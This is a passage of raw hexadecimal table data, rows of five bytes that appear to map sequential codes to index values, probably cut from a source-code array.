0x04,\r\n0x00, 0x05, 0x5E, 0x05, 0x00,\r\n0x00, 0x05, 0x5F, 0x05, 0x00,\r\n0x00, 0x05, 0x60, 0xe9, 0x04,\r\n0x00, 0x05, 0x61, 0xea, 0x04,\r\n0x00, 0x05, 0x62, 0x44, 0x01,\r\n0x00, 0x05, 0x63, 0xeb, 0x04,\r\n0x00, 0x05, 0x64, 0x3a, 0x04,\r\n0x00, 0x05, 0x65, 0xec, 0x04,\r\n0x00, 0x05, 0x66, 0xed, 0x04,\r\n0x00, 0x05, 0x67, 0xee, 0x04,\r\n0x00, 0x05, 0x68, 0xef, 0x04,\r\n0x00, 0x05, 0x69, 0xf0, 0x04,\r\n0x00, 0x05, 0x6A, 0xf1, 0x04,\r\n0x00, 0x05, 0x6B, 0xf2, 0x04,\r\n0x00, 0x05, 0x6C, 0xf3, 0x04,\r\n0x00, 0x05, 0x6D, 0xf4, 0x04,\r\n0x00, 0x05, 0x6E, 0xf5, 0x04,\r\n0x00, 0x05, 0x6F, 0xf6, 0x04,\r\n0x00, 0x05, 0x70, 0xf7, 0x04,\r\n0x00, 0x05, 0x71, 0xf8, 0x04,\r\n0x00, 0x05, 0x72, 0xf9, 0x04,\r\n0x00, 0x05, 0x73, 0x05, 0x00,\r\n0x00, 0x05, 0x74, 0x05, 0x00,\r\n0x00, 0x05, 0x75, 0xfa, 0x04,\r\n0x00, 0x05, 0x76, 0xfb, 0x04,\r\n0x00, 0x05, 0x77, 0xfc, 0x04,\r\n0x00, 0x05, 0x78, 0x65, 0x00,\r\n0x00, 0x05, 0x79, 0x0a, 0x01,\r\n0x00, 0x05, 0x7A, 0xfd, 0x04,\r\n0x00, 0x05, 0x7B, 0xfe, 0x04,\r\n0x00, 0x05, 0x7C, 0xff, 0x04,\r\n0x00, 0x05, 0x7D, 0x00, 0x05,\r\n0x00, 0x05, 0x7E, 0x01, 0x05,\r\n0x00, 0x05, 0x7F, 0x02, 0x05,\r\n0x00, 0x05, 0x80, 0x03, 0x05,\r\n0x00, 0x05, 0x81, 0x04, 0x05,\r\n0x00, 0x05, 0x82, 0x05, 0x05,\r\n0x00, 0x05, 0x83, 0x06, 0x05,\r\n0x00, 0x05, 0x84, 0x07, 0x05,\r\n0x00, 0x05, 0x85, 0x08, 0x05,\r\n0x00, 0x05, 0x86, 0x09, 0x05,\r\n0x00, 0x05, 0x87, 0x0a, 0x05,\r\n0x00, 0x05, 0x88, 0x0b, 0x05,\r\n0x00, 0x05, 0x89, 0xf5, 0x04,\r\n0x00, 0x05, 0x8A, 0x0c, 0x05,\r\n0x00, 0x05, 0x8B, 0x0d, 0x05,\r\n0x00, 0x05, 0x8C, 0x0e, 0x05,\r\n0x00, 0x05, 0x8D, 0x0f, 0x05,\r\n0x00, 0x05, 0x8E, 0x10, 0x05,\r\n0x00, 0x05, 0x8F, 0x11, 0x05,\r\n0x00, 0x05, 0x90, 0x12, 0x05,\r\n0x00, 0x05, 0x91, 0x13, 0x05,\r\n0x00, 0x05, 0x92, 0x14, 0x05,\r\n0x00, 0x05, 0x93, 0x15, 0x05,\r\n0x00, 0x05, 0x94, 0x16, 0x05,\r\n0x00, 0x05, 0x95, 0x17, 0x05,\r\n0x00, 0x05, 0x96, 0x18, 0x05,\r\n0x00, 0x05, 0x97, 0x19, 0x05,\r\n0x00, 0x05, 0x98, 0x1a, 0x05,\r\n0x00, 0x05, 0x99, 0x1b, 0x05,\r\n0x00, 0x05, 0x9A, 0x05, 0x00,\r\n0x00, 0x05, 0x9B, 0x05, 0x00,\r\n0x00, 0x05, 0x9C, 0x1c, 0x05,\r\n0x00, 0x05, 0x9D, 0x1d, 0x05,\r\n0x00, 0x05, 0x9E, 0x1e, 0x05,\r\n0x00, 0x05, 0x9F, 0x1f, 0x05,\r\n0x00, 0x05, 0xA0, 0x20, 0x05,\r\n0x00, 0x05, 0xA1, 0x21, 0x05,\r\n0x00, 0x05, 0xA2, 0x22, 0x05,\r\n0x00, 0x05, 0xA3, 0x23, 0x05,\r\n0x00, 0x05, 0xA4, 0x24, 0x05,\r\n0x00, 0x05, 0xA5, 0x25, 0x05,\r\n0x00, 0x05, 0xA6, 0x26, 0x05,\r\n0x00, 0x05, 0xA7, 0x27, 0x05,\r\n0x00, 0x05, 0xA8, 0x28, 0x05,\r\n0x00, 0x05, 0xA9, 0x29, 0x05,\r\n0x00, 0x05, 0xAA, 0x2a, 0x05,\r\n0x00, 0x05, 0xAB, 0x2b, 0x05,\r\n0x00, 0x05, 0xAC, 0x2c, 0x05,\r\n0x00, 0x05, 0xAD, 0x2d, 0x05,\r\n0x00, 0x05, 0xAE, 0x2e, 0x05,\r\n0x00, 0x05, 0xAF, 0x2f, 0x05,\r\n0x00, 0x05, 0xB0, 0x30, 0x05,\r\n0x00, 0x05, 0xB1, 0x31, 0x05,\r\n0x00, 0x05, 0xB2, 0x32, 0x05,\r\n0x00, 0x05, 0xB3, 0x33, 0x05,\r\n0x00, 0x05, 0xB4, 0x34, 0x05,\r\n0x00, 0x05, 0xB5, 0x35, 0x05,\r\n0x00, 0x05, 0xB6, 0x36, 0x05,\r\n0x00, 0x05, 0xB7, 0x37, 0x05,\r\n0x00, 0x05, 0xB8, 0x38, 0x05,\r\n0x00, 0x05, 0xB9, 0x39, 0x05,\r\n0x00, 0x05, 0xBA, 0x3a, 0x05,\r\n0x00, 0x05, 0xBB, 0x3b, 0x05,\r\n0x00, 0x05, 0xBC, 0x3c, 0x05,\r\n0x00, 0x05, 0xBD, 0x3d, 0x05,\r\n0x00, 0x05, 0xBE, 0x3e, 0x05,\r\n0x00, 0x05, 0xBF, 0x3f, 0x05,\r\n0x00, 0x05, 0xC0, 0x40, 0x05,\r\n0x00, 0x05, 0xC1, 0x41, 0x05,\r\n0x00, 0x05, 0xC2, 0x42, 0x05,\r\n0x00, 0x05, 0xC3, 0x43, 0x05,\r\n0x00, 0x05, 0xC4, 0x44, 0x05,\r\n0x00, 0x05, 0xC5, 0x45, 0x05,\r\n0x00, 0x05, 0xC6, 0x46, 0x05,\r\n0x00, 0x05, 0xC7, 0x47, 0x05,\r\n0x00, 0x05, 0xC8, 0x48, 0x05,\r\n0x00, 0x05, 0xC9, 0x49, 0x05,\r\n0x00, 0x05, 0xCA, 0x4a, 0x05,\r\n0x00, 0x05, 0xCB, 0x4b, 0x05,\r\n0x00, 0x05, 0xCC, 0x4c, 0x05,\r\n0x00, 0x05, 0xCD, 0x4d, 0x05,\r\n0x00, 0x05, 0xCE, 0x4e, 0x05,\r\n0x00, 0x05, 0xCF, 0x4f, 0x05,\r\n0x00, 0x05, 0xD0, 0x50, 0x05,\r\n0x00, 0x05, 0xD1, 0x51, 0x05,\r\n0x00, 0x05, 0xD2, 0x52, 0x05,\r\n0x00, 0x05, 0xD3, 0x53, 0x05,\r\n0x00, 0x05, 0xD4, 0x54, 0x05,\r\n0x00, 0x05, 0xD5, 0x55, 0x05,\r\n0x00, 0x05, 0xD6, 0x56, 0x05,\r\n0x00, 0x05, 0xD7, 0x57, 0x05,\r\n0x00, 0x05, 0xD8, 0x58, 0x05,\r\n0x00, 0x05, 0xD9, 0x59, 0x05,\r\n0x00, 0x05, 0xDA, 0x5a, 0x05,\r\n0x00, 0x05, 0xDB, 0x5b, 0x05,\r\n0x00, 0x05, 0xDC, 0x05, 0x00,\r\n0x00, 0x05, 0xDD, 0x05, 0x00,\r\n0x00, 0x05, 0xDE, 0x5c, 0x05,\r\n0x00, 0x05, 0xDF, 0x38, 0x05,\r\n0x00, 0x05, 0xE0, 0x5d, 0x05,\r\n0x00, 0x05, 0xE1, 0x5e, 0x05,\r\n0x00, 0x05, 0xE2, 0x5f, 0x05,\r\n0x00, 0x05, 0xE3, 0x60, 0x05,\r\n0x00, 0x05, 0xE4, 0x61, 0x05,\r\n0x00, 0x05, 0xE5, 0x62, 0x05,\r\n0x00, 0x05, 0xE6, 0x63, 0x05,\r\n0x00, 0x05, 0xE7, 0x64, 0x05,\r\n0x00, 0x05, 0xE8, 0x65, 0x05,\r\n0x00, 0x05, 0xE9, 0x66, 0x05,\r\n0x00, 0x05, 0xEA, 0x67, 0x05,\r\n0x00, 0x05, 0xEB, 0x68, 0x05,\r\n0x00, 0x05, 0xEC, 0x69, 0x05,\r\n0x00, 0x05, 0xED, 0x6a, 0x05,\r\n0x00, 0x05, 0xEE, 0x6b, 0x05,\r\n0x00, 0x05, 0xEF, 0x6c, 0x05,\r\n0x00, 0x05, 0xF0, 0x6d, 0x05,\r\n0x00, 0x05, 0xF1, 0x6e, 0x05,\r\n0x00, 0x05, 0xF2, 0x6f, 0x05,\r\n0x00, 0x05, 0xF3, 0x70, 0x05,\r\n0x00, 0x05, 0xF4, 0x71, 0x05,\r\n0x00, 0x05, 0xF5, 0x72, 0x05,\r\n0x00, 0x05, 0xF6, 0x73, 0x05,\r\n0x00, 0x05, 0xF7, 0x74, 0x05,\r\n0x00, 0x05, 0xF8, 0x75, 0x05,\r\n0x00, 0x05, 0xF9, 0x76, 0x05,\r\n0x00, 0x05, 0xFA, 0x77, 0x05,\r\n0x00, 0x05, 0xFB, 0x78, 0x05,\r\n0x00, 0x05, 0xFC, 0x79, 0x05,\r\n0x00, 0x05, 0xFD, 0x7a, 0x05,\r\n0x00, 0x05, 0xFE, 0x7b, 0x05,\r\n0x00, 0x05, 0xFF, 0x7c, 0x05,\r\n0x00, 0x06, 0x00, 0x7d, 0x05,\r\n0x00, 0x06, 0x01, 0x7e, 0x05,\r\n0x00, 0x06, 0x02, 0x7f, 0x05,\r\n0x00, 0x06, 0x03, 0x80, 0x05,\r\n0x00, 0x06, 0x04, 0x81, 0x05,\r\n0x00, 0x06, 0x05, 0x82, 0x05,\r\n0x00, 0x06, 0x06, 0x83, 0x05,\r\n0x00, 0x06, 0x07, 0x84, 0x05,\r\n0x00, 0x06, 0x08, 0x85, 0x05,\r\n0x00, 0x06, 0x09, 0x86, 0x05,\r\n0x00, 0x06, 0x0A, 0x87, 0x05,\r\n0x00, 0x06, 0x0B, 0x95, 0x01,\r\n0x00, 0x06, 0x0C, 0x88, 0x05,\r\n0x00, 0x06, 0x0D, 0x89, 0x05,\r\n0x00, 0x06, 0x0E, 0x8a, 0x05,\r\n0x00, 0x06, 0x0F, 0x8b, 0x05,\r\n0x00, 0x06, 0x10, 0x8c, 0x05,\r\n0x00, 0x06, 0x11, 0x8d, 0x05,\r\n0x00, 0x06, 0x12, 0x8e, 0x05,\r\n0x00, 0x06, 0x13, 0x8f, 0x05,\r\n0x00, 0x06, 0x14, 0x90, 0x05,\r\n0x00, 0x06, 0x15, 0x91, 0x05,\r\n0x00, 0x06, 0x16, 0x92, 0x05,\r\n0x00, 0x06, 0x17, 0x93, 0x05,\r\n0x00, 0x06, 0x18, 0x94, 0x05,\r\n0x00, 0x06, 0x19, 0x95, 0x05,\r\n0x00, 0x06, 0x1A, 0x96, 0x05,\r\n0x00, 0x06, 0x1B, 0x97, 0x05,\r\n0x00, 0x06, 0x1C, 0x98, 0x05,\r\n0x00, 0x06, 0x1D, 0x99, 0x05,\r\n0x00, 0x06, 0x1E, 0x9a, 0x05,\r\n0x00, 0x06, 0x1F, 0x9b, 0x05,\r\n0x00, 0x06, 0x20, 0x9c, 0x05,\r\n0x00, 0x06, 0x21, 0x9d, 0x05,\r\n0x00, 0x06, 0x22, 0x9e, 0x05,\r\n0x00, 0x06, 0x23, 0x9f, 0x05,\r\n0x00, 0x06, 0x24, 0xa0, 0x05,\r\n0x00, 0x06, 0x25, 0x06, 0x04,\r\n0x00, 0x06, 0x26, 0xa1, 0x05,\r\n0x00, 0x06, 0x27, 0xa2, 0x05,\r\n0x00, 0x06, 0x28, 0x05, 0x00,\r\n0x00, 0x06, 0x29, 0xa3, 0x05,\r\n0x00, 0x06, 0x2A, 0x05, 0x00,\r\n0x00, 0x06, 0x2B, 0xa4, 0x05,\r\n0x00, 0x06, 0x2C, 0xa5, 0x05,\r\n0x00, 0x06, 0x2D, 0xa6, 0x05,\r\n0x00, 0x06, 0x2E, 0xa7, 0x05,\r\n0x00, 0x06, 0x2F, 0xa8, 0x05,\r\n0x00, 0x06, 0x30, 0xa9, 0x05,\r\n0x00, 0x06, 0x31, 0xaa, 0x05,\r\n0x00, 0x06, 0x32, 0xab, 0x05,\r\n0x00, 0x06, 0x33, 0xac, 0x05,\r\n0x00, 0x06, 0x34, 0xad, 0x05,\r\n0x00, 0x06, 0x35, 0xae, 0x05,\r\n0x00, 0x06, 0x36, 0xaf, 0x05,\r\n0x00, 0x06, 0x37, 0xb0, 0x05,\r\n0x00, 0x06, 0x38, 0xb1, 0x05,\r\n0x00, 0x06, 0x39, 0xb2, 0x05,\r\n0x00, 0x06, 0x3A, 0xb3, 0x05,\r\n0x00, 0x06, 0x3B, 0xb4, 0x05,\r\n0x00, 0x06, 0x3C, 0xb5, 0x05,\r\n0x00, 0x06, 0x3D, 0xb6, 0x05,\r\n0x00, 0x06, 0x3E, 0xb7, 0x05,\r\n0x00, 0x06, 0x3F, 0xb8, 0x05,\r\n0x00, 0x06, 0x40, 0xb9, 0x05,\r\n0x00, 0x06, 0x41, 0xba, 0x05,\r\n0x00, 0x06, 0x42, 0xbb, 0x05,\r\n0x00, 0x06, 0x43, 0xbc, 0x05,\r\n0x00, 0x06, 0x44, 0xbd, 0x05,\r\n0x00, 0x06, 0x45, 0xbe, 0x05,\r\n0x00, 0x06, 0x46, 0xe9, 0x01,\r\n0x00, 0x06, 0x47, 0xbf, 0x05,\r\n0x00, 0x06, 0x48, 0xc0, 0x05,\r\n0x00, 0x06, 0x49, 0xc1, 0x05,\r\n0x00, 0x06, 0x4A, 0xc2, 0x05,\r\n0x00, 0x06, 0x4B, 0xc3, 0x05,\r\n0x00, 0x06, 0x4C, 0xc4, 0x05,\r\n0x00, 0x06, 0x4D, 0xc5, 0x05,\r\n0x00, 0x06, 0x4E, 0xc6, 0x05,\r\n0x00, 0x06, 0x4F, 0xc7, 0x05,\r\n0x00, 0x06, 0x50, 0xc8, 0x05,\r\n0x00, 0x06, 0x51, 0xc9, 0x05,\r\n0x00, 0x06, 0x52, 0x05, 0x00,\r\n0x00, 0x06, 0x53, 0x05, 0x00,\r\n0x00, 0x06, 0x54, 0xca, 0x05,\r\n0x00, 0x06, 0x55, 0xcb, 0x05,\r\n0x00, 0x06, 0x56, 0xcc, 0x05,\r\n0x00, 0x06, 0x57, 0xcd, 0x05,\r\n0x00, 0x06, 0x58, 0xce, 0x05,\r\n0x00, 0x06, 0x59, 0xcf, 0x05,\r\n0x00, 0x06, 0x5A, 0xd0, 0x05,\r\n0x00, 0x06, 0x5B, 0xd1, 0x05,\r\n0x00, 0x06, 0x5C, 0xd2, 0x05,\r\n0x00, 0x06, 0x5D, 0x63, 0x01,\r\n0x00, 0x06, 0x5E, 0xd3, 0x05,\r\n0x00, 0x06, 0x5F, 0xee, 0x01,\r\n0x00, 0x06, 0x60, 0xd4, 0x05,\r\n0x00, 0x06, 0x61, 0xd5, 0x05,\r\n0x00, 0x06, 0x62, 0xd6, 0x05,\r\n0x00, 0x06, 0x63, 0xd7, 0x05,\r\n0x00, 0x06, 0x64, 0xd8, 0x05,\r\n0x00, 0x06, 0x65, 0xd9, 0x05,\r\n0x00, 0x06, 0x66, 0xda, 0x05,\r\n0x00, 0x06, 0x67, 0xdb, 0x05,\r\n0x00, 0x06, 0x68, 0xdc, 0x05,\r\n0x00, 0x06, 0x69, 0xdd, 0x05,\r\n0x00, 0x06, 0x6A, 0xde, 0x05,\r\n0x00, 0x06, 0x6B, 0xdf, 0x05,\r\n0x00, 0x06, 0x6C, 0xe0, 0x05,\r\n0x00, 0x06, 0x6D, 0xe1, 0x05,\r\n0x00, 0x06, 0x6E, 0xe2, 0x05,\r\n0x00, 0x06, 0x6F, 0xe3, 0x05,\r\n0x00, 0x06, 0x70, 0xe4, 0x05,\r\n0x00, 0x06, 0x71, 0xe5, 0x05,\r\n0x00, 0x06, 0x72, 0xe6, 0x05,\r\n0x00, 0x06, 0x73, 0xe7, 0x05,\r\n0x00, 0x06, 0x74, 0x57, 0x02,\r\n0x00, 0x06, 0x75, 0xe8, 0x05,\r\n0x00, 0x06, 0x76, 0xe9, 0x05,\r\n0x00, 0x06, 0x77, 0xea, 0x05,\r\n0x00, 0x06, 0x78, 0x4d, 0x05,\r\n0x00, 0x06, 0x79, 0xeb, 0x05,\r\n0x00, 0x06, 0x7A, 0xec, 0x05,\r\n0x00, 0x06, 0x7B, 0xed, 0x05,\r\n0x00, 0x06, 0x7C, 0x05, 0x00,\r\n0x00, 0x06, 0x7D, 0xee, 0x05,\r\n0x00, 0x06, 0x7E, 0xef, 0x05,\r\n0x00, 0x06, 0x7F, 0xf0, 0x05,\r\n0x00, 0x06, 0x80, 0xf1, 0x05,\r\n0x00, 0x06, 0x81, 0xf2, 0x05,\r\n0x00, 0x06, 0x82, 0xf3, 0x05,\r\n0x00, 0x06, 0x83, 0xf4, 0x05,\r\n0x00, 0x06, 0x84, 0xf5, 0x05,\r\n0x00, 0x06, 0x85, 0xf6, 0x05,\r\n0x00, 0x06, 0x86, 0xf7, 0x05,\r\n0x00, 0x06, 0x87, 0xf8, 0x05,\r\n0x00, 0x06, 0x88, 0xf9, 0x05,\r\n0x00, 0x06, 0x89, 0xfa, 0x05,\r\n0x00, 0x06, 0x8A, 0xfb, 0x05,\r\n0x00, 0x06, 0x8B, 0xfc, 0x05,\r\n0x00, 0x06, 0x8C, 0xf2, 0x00,\r\n0x00, 0x06, 0x8D, 0xfd, 0x05,\r\n0x00, 0x06, 0x8E, 0xfe, 0x05,\r\n0x00, 0x06, 0x8F, 0xff, 0x05,\r\n0x00, 0x06, 0x90, 0x00, 0x06,\r\n0x00, 0x06, 0x91, 0x01, 0x06,\r\n0x00, 0x06, 0x92, 0x02, 0x06,\r\n0x00, 0x06, 0x93, 0x03, 0x06,\r\n0x00, 0x06, 0x94, 0x04, 0x06,\r\n0x00, 0x06, 0x95, 0x05, 0x06,\r\n0x00, 0x06, 0x96, 0x06, 0x06,\r\n0x00, 0x06, 0x97, 0x07, 0x06,\r\n0x00, 0x06, 0x98, 0x08, 0x06,\r\n0x00, 0x06, 0x99, 0x09, 0x06,\r\n0x00, 0x06, 0x9A, 0x0a, 0x06,\r\n0x00, 0x06, 0x9B, 0x0b, 0x06,\r\n0x00, 0x06, 0x9C, 0x0c, 0x06,\r\n0x00, 0x06, 0x9D, 0x0d, 0x06,\r\n0x00, 0x06, 0x9E, 0x0e, 0x06,\r\n0x00, 0x06, 0x9F, 0x0f, 0x06,\r\n0x00, 0x06, 0xA0, 0x10, 0x06,\r\n0x00, 0x06, 0xA1, 0x11, 0x06,\r\n0x00, 0x06, 0xA2, 0x12, 0x06,\r\n0x00, 0x06, 0xA3, 0x13, 0x06,\r\n0x00, 0x06, 0xA4, 0x14, 0x06,\r\n0x00, 0x06, 0xA5, 0x15, 0x06,\r\n0x00, 0x06, 0xA6, 0x16, 0x06,\r\n0x00, 0x06, 0xA7, 0x17, 0x06,\r\n0x00, 0x06, 0xA8, 0x18, 0x06,\r\n0x00, 0x06, 0xA9, 0x0a, 0x01,\r\n0x00, 0x06, 0xAA, 0x19, 0x06,\r\n0x00, 0x06, 0xAB, 0x1a, 0x06,\r\n0x00, 0x06, 0xAC, 0x0f, 0x02,\r\n0x00, 0x06, 0xAD, 0x1b, 0x06,\r\n0x00, 0x06, 0xAE, 0x1c, 0x06,\r\n0x00, 0x06, 0xAF, 0x1d, 0x06,\r\n0x00, 0x06, 0xB0, 0x1e, 0x06,\r\n0x00, 0x06, 0xB1, 0x1f, 0x06,\r\n0x00, 0x06, 0xB2, 0x20, 0x06,\r\n0x00, 0x06, 0xB3, 0x21, 0x06,\r\n0x00, 0x06, 0xB4, 0x22, 0x06,\r\n0x00, 0x06, 0xB5, 0x23, 0x06,\r\n0x00, 0x06, 0xB6, 0x24, 0x06,\r\n0x00, 0x06, 0xB7, 0x25, 0x06,\r\n0x00, 0x06, 0xB8, 0x26, 0x06,\r\n0x00, 0x06, 0xB9, 0x27, 0x06,\r\n0x00, 0x06, 0xBA, 0x28, 0x06,\r\n0x00, 0x06, 0xBB, 0x29, 0x06,\r\n0x00, 0x06, 0xBC, 0x2a, 0x06,\r\n0x00, 0x06, 0xBD, 0x2b, 0x06,\r\n0x00, 0x06, 0xBE, 0x2c, 0x06,\r\n0x00, 0x06, 0xBF, 0x2d, 0x06,\r\n0x00, 0x06, 0xC0, 0x2e, 0x06,\r\n0x00, 0x06, 0xC1, 0x05, 0x00,\r\n0x00, 0x06, 0xC2, 0x2f, 0x06,\r\n0x00, 0x06, 0xC3, 0x30, 0x06,\r\n0x00, 0x06, 0xC4, 0x31, 0x06,\r\n0x00, 0x06, 0xC5, 0x32, 0x06,\r\n0x00, 0x06, 0xC6, 0x33, 0x06,\r\n0x00, 0x06, 0xC7, 0x34, 0x06,\r\n0x00, 0x06, 0xC8, 0x58, 0x00,\r\n0x00, 0x06, 0xC9, 0x35, 0x06,\r\n0x00, 0x06, 0xCA, 0x36, 0x06,\r\n0x00, 0x06, 0xCB, 0x37, 0x06,\r\n0x00, 0x06, 0xCC, 0x38, 0x06,\r\n0x00, 0x06, 0xCD, 0x39, 0x06,\r\n0x00, 0x06, 0xCE, 0x3a, 0x06,\r\n0x00, 0x06, 0xCF, 0x3b, 0x06,\r\n0x00, 0x06, 0xD0, 0x3c, 0x06,\r\n0x00, 0x06, 0xD1, 0x3d, 0x06,\r\n0x00, 0x06, 0xD2, 0x3e, 0x06,\r\n0x00, 0x06, 0xD3, 0x3f, 0x06,\r\n0x00, 0x06, 0xD4, 0x40, 0x06,\r\n0x00, 0x06, 0xD5, 0x41, 0x06,\r\n0x00, 0x06, 0xD6, 0x05, 0x00,\r\n0x00, 0x06, 0xD7, 0x05, 0x00,\r\n0x00, 0x06, 0xD8, 0x42, 0x06,\r\n0x00, 0x06, 0xD9, 0x43, 0x06,\r\n0x00, 0x06, 0xDA, 0x44, 0x06,\r\n0x00, 0x06, 0xDB, 0x45, 0x06,\r\n0x00, 0x06, 0xDC, 0x46, 0x06,\r\n0x00, 0x06, 0xDD, 0x47, 0x06,\r\n0x00, 0x06, 0xDE, 0x48, 0x06,\r\n0x00, 0x06, 0xDF, 0x49, 0x06,\r\n0x00, 0x06, 0xE0, 0x4a, 0x06,\r\n0x00, 0x06, 0xE1, 0x4b, 0x06,\r\n0x00, 0x06, 0xE2, 0x4c, 0x06,\r\n0x00, 0x06, 0xE3, 0x4d, 0x06,\r\n0x00, 0x06, 0xE4, 0x4e, 0x06,\r\n0x00, 0x06, 0xE5, 0x4f, 0x06,\r\n0x00, 0x06, 0xE6, 0x50, 0x06,\r\n0x00, 0x06, 0xE7, 0x51, 0x06,\r\n0x00, 0x06, 0xE8, 0x52, 0x06,\r\n0x00, 0x06, 0xE9, 0x53, 0x06,\r\n0x00, 0x06, 0xEA, 0x54, 0x06,\r\n0x00, 0x06, 0xEB, 0x55, 0x06,\r\n0x00, 0x06, 0xEC, 0x56, 0x06,\r\n0x00, 0x06, 0xED, 0x57, 0x06,\r\n0x00, 0x06, 0xEE, 0x58, 0x06,\r\n0x00, 0x06, 0xEF, 0x59, 0x06,\r\n0x00, 0x06, 0xF0, 0xf0, 0x05,\r\n0x00, 0x06, 0xF1, 0x5a, 0x06,\r\n0x00, 0x06, 0xF2, 0x5b, 0x06,\r\n0x00, 0x06, 0xF3, 0x5c, 0x06,\r\n0x00, 0x06, 0xF4, 0x5d, 0x06,\r\n0x00, 0x06, 0xF5, 0x93, 0x02,\r\n0x00, 0x06, 0xF6, 0x05, 0x00,\r\n0x00, 0x06, 0xF7, 0x93, 0x02,\r\n0x00, 0x06, 0xF8, 0x5e, 0x06,\r\n0x00, 0x06, 0xF9, 0x5f, 0x06,\r\n0x00, 0x06, 0xFA, 0x60, 0x06,\r\n0x00, 0x06, 0xFB, 0x61, 0x06,\r\n0x00, 0x06, 0xFC, 0x62, 0x06,\r\n0x00, 0x06, 0xFD, 0x63, 0x06,\r\n0x00, 0x06, 0xFE, 0x64, 0x06,\r\n0x00, 0x06, 0xFF, 0x65, 0x06,\r\n0x00, 0x07, 0x00, 0x66, 0x06,\r\n0x00, 0x07, 0x01, 0x05, 0x00,\r\n0x00, 0x07, 0x02, 0x67, 0x06,\r\n0x00, 0x07, 0x03, 0x68, 0x06,\r\n0x00, 0x07, 0x04, 0x93, 0x02,\r\n0x00, 0x07, 0x05, 0x69, 0x06,\r\n0x00, 0x07, 0x06, 0x6a, 0x06,\r\n0x00, 0x07, 0x07, 0x6b, 0x06,\r\n0x00, 0x07, 0x08, 0x6c, 0x06,\r\n0x00, 0x07, 0x09, 0x6d, 0x06,\r\n0x00, 0x07, 0x0A, 0x6e, 0x06,\r\n0x00, 0x07, 0x0B, 0x6f, 0x06,\r\n0x00, 0x07, 0x0C, 0x70, 0x06,\r\n0x00, 0x07, 0x0D, 0x71, 0x06,\r\n0x00, 0x07, 0x0E, 0x05, 0x00,\r\n0x00, 0x07, 0x0F, 0x72, 0x06,\r\n0x00, 0x07, 0x10, 0x73, 0x06,\r\n0x00, 0x07, 0x11, 0x74, 0x06,\r\n0x00, 0x07, 0x12, 0x75, 0x06,\r\n0x00, 0x07, 0x13, 0x76, 0x06,\r\n0x00, 0x07, 0x14, 0x77, 0x06,\r\n0x00, 0x07, 0x15, 0x78, 0x06,\r\n0x00, 0x07, 0x16, 0x79, 0x06,\r\n0x00, 0x07, 0x17, 0x7a, 0x06,\r\n0x00, 0x07, 0x18, 0x7b, 0x06,\r\n0x00, 0x07, 0x19, 0x7c, 0x06,\r\n0x00, 0x07, 0x1A, 0x7d, 0x06,\r\n0x00, 0x07, 0x1B, 0x7e, 0x06,\r\n0x00, 0x07, 0x1C, 0x7f, 0x06,\r\n0x00, 0x07, 0x1D, 0x80, 0x06,\r\n0x00, 0x07, 0x1E, 0x81, 0x06,\r\n0x00, 0x07, 0x1F, 0x82, 0x06,\r\n0x00, 0x07, 0x20, 0x83, 0x06,\r\n0x00, 0x07, 0x21, 0x84, 0x06,\r\n0x00, 0x07, 0x22, 0x85, 0x06,\r\n0x00, 0x07, 0x23, 0x86, 0x06,\r\n0x00, 0x07, 0x24, 0x87, 0x06,\r\n0x00, 0x07, 0x25, 0x88, 0x06,\r\n0x00, 0x07, 0x26, 0xe9, 0x01,\r\n0x00, 0x07, 0x27, 0x89, 0x06,\r\n0x00, 0x07, 0x28, 0x8a, 0x06,\r\n0x00, 0x07, 0x29, 0x8b, 0x06,\r\n0x00, 0x07, 0x2A, 0x8c, 0x06,\r\n0x00, 0x07, 0x2B, 0x8d, 0x06,\r\n0x00, 0x07, 0x2C, 0x8e, 0x06,\r\n0x00, 0x07, 0x2D, 0x8f, 0x06,\r\n0x00, 0x07, 0x2E, 0x90, 0x06,\r\n0x00, 0x07, 0x2F, 0x91, 0x06,\r\n0x00, 0x07, 0x30, 0x92, 0x06,\r\n0x00, 0x07, 0x31, 0x93, 0x06,\r\n0x00, 0x07, 0x32, 0x94, 0x06,\r\n0x00, 0x07, 0x33, 0x95, 0x06,\r\n0x00, 0x07, 0x34, 0x96, 0x06,\r\n0x00, 0x07, 0x35, 0x97, 0x06,\r\n0x00, 0x07, 0x36, 0x98, 0x06,\r\n0x00, 0x07, 0x37, 0x99, 0x06,\r\n0x00, 0x07, 0x38, 0x9a, 0x06,\r\n0x00, 0x07, 0x39, 0x9b, 0x06,\r\n0x00, 0x07, 0x3A, 0x9c, 0x06,\r\n0x00, 0x07, 0x3B, 0x9d, 0x06,\r\n0x00, 0x07, 0x3C, 0x9e, 0x06,\r\n0x00, 0x07, 0x3D, 0x9f, 0x06,\r\n0x00, 0x07, 0x3E, 0xa0, 0x06,\r\n0x00, 0x07, 0x3F, 0xa1, 0x06,\r\n0x00, 0x07, 0x40, 0xa2, 0x06,\r\n0x00, 0x07, 0x41, 0xa3, 0x06,\r\n0x00, 0x07, 0x42, 0xa4, 0x06,\r\n0x00, 0x07, 0x43, 0xa5, 0x06,\r\n0x00, 0x07, 0x44, 0xa6, 0x06,\r\n0x00, 0x07, 0x45, 0xa7, 0x06,\r\n0x00, 0x07, 0x46, 0xa8, 0x06,\r\n0x00, 0x07, 0x47, 0xa9, 0x06,\r\n0x00, 0x07, 0x48, 0xaa, 0x06,\r\n0x00, 0x07, 0x49, 0xab, 0x06,\r\n0x00, 0x07, 0x4A, 0xac, 0x06,\r\n0x00, 0x07, 0x4B, 0xad, 0x06,\r\n0x00, 0x07, 0x4C, 0xae, 0x06,\r\n0x00, 0x07, 0x4D, 0xa9, 0x04,\r\n0x00, 0x07, 0x4E, 0xaf, 0x06,\r\n0x00, 0x07, 0x4F, 0x05, 0x00,\r\n0x00, 0x07, 0x50, 0x05, 0x00,\r\n0x00, 0x07, 0x51, 0xb0, 0x06,\r\n0x00, 0x07, 0x52, 0xb1, 0x06,\r\n0x00, 0x07, 0x53, 0xb2, 0x06,\r\n0x00, 0x07, 0x54, 0xb3, 0x06,\r\n0x00, 0x07, 0x55, 0xb4, 0x06,\r\n0x00, 0x07, 0x56, 0xb5, 0x06,\r\n0x00, 0x07, 0x57, 0xb6, 0x06,\r\n0x00, 0x07, 0x58, 0xb7, 0x06,\r\n0x00, 0x07, 0x59, 0xb8, 0x06,\r\n0x00, 0x07, 0x5A, 0xb9, 0x06,\r\n0x00, 0x07, 0x5B, 0xba, 0x06,\r\n0x00, 0x07, 0x5C, 0xbb, 0x06,\r\n0x00, 0x07, 0x5D, 0xbc, 0x06,\r\n0x00, 0x07, 0x5E, 0xbd, 0x06,\r\n0x00, 0x07, 0x5F, 0xbe, 0x06,\r\n0x00, 0x07, 0x60, 0xbf, 